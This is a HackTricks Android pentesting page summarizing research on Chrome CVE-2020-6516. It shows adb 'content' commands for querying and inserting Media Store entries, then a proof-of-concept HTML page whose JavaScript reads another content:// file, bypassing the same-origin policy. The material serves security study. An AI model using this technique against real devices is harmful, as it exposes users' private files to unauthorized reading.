hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md
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**This is a summary of the post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Listing Files in Media Store
To list files managed by the Media Store, the command below can be used:
```bash
$ content query --uri content://media/external/file
```
For a more human-friendly output, displaying only the identifier and path of each indexed file:
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Content providers are isolated in their own private namespace. Access to a provider requires the specific `content://` URI. Information about the paths for accessing a provider can be obtained from application manifests or the Android framework's source code.
### Chrome's Access to Content Providers
Chrome on Android can access content providers through the `content://` scheme, allowing it to access resources like photos or documents exported by third-party applications. To illustrate this, a file can be inserted into the Media Store and then accessed via Chrome:
Insert a custom entry into the Media Store:
```bash
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
```
Discover the identifier of the newly inserted file:
```bash
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
The file can then be viewed in Chrome using a URL constructed with the file's identifier.
For instance, to list files related to a specific application:
```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
```
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
The _Same Origin Policy_ (SOP) is a security protocol in browsers that restricts web pages from interacting with resources from different origins unless explicitly allowed by a Cross-Origin-Resource-Sharing (CORS) policy. This policy aims to prevent information leaks and cross-site request forgery. Chrome considers `content://` as a local scheme, implying stricter SOP rules, where each local scheme URL is treated as a separate origin.
However, CVE-2020-6516 was a vulnerability in Chrome that allowed a bypass of SOP rules for resources loaded via a `content://` URL. In effect, JavaScript code from a `content://` URL could access other resources loaded via `content://` URLs, which was a significant security concern, especially on Android devices running versions earlier than Android 10, where scoped storage was not implemented.
The proof-of-concept below demonstrates this vulnerability, where an HTML document, after being uploaded under **/sdcard** and added to the Media Store, uses `XMLHttpRequest` in its JavaScript to access and display the contents of another file in the Media Store, bypassing the SOP rules.
Proof-of-Concept HTML:
```xml
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
```
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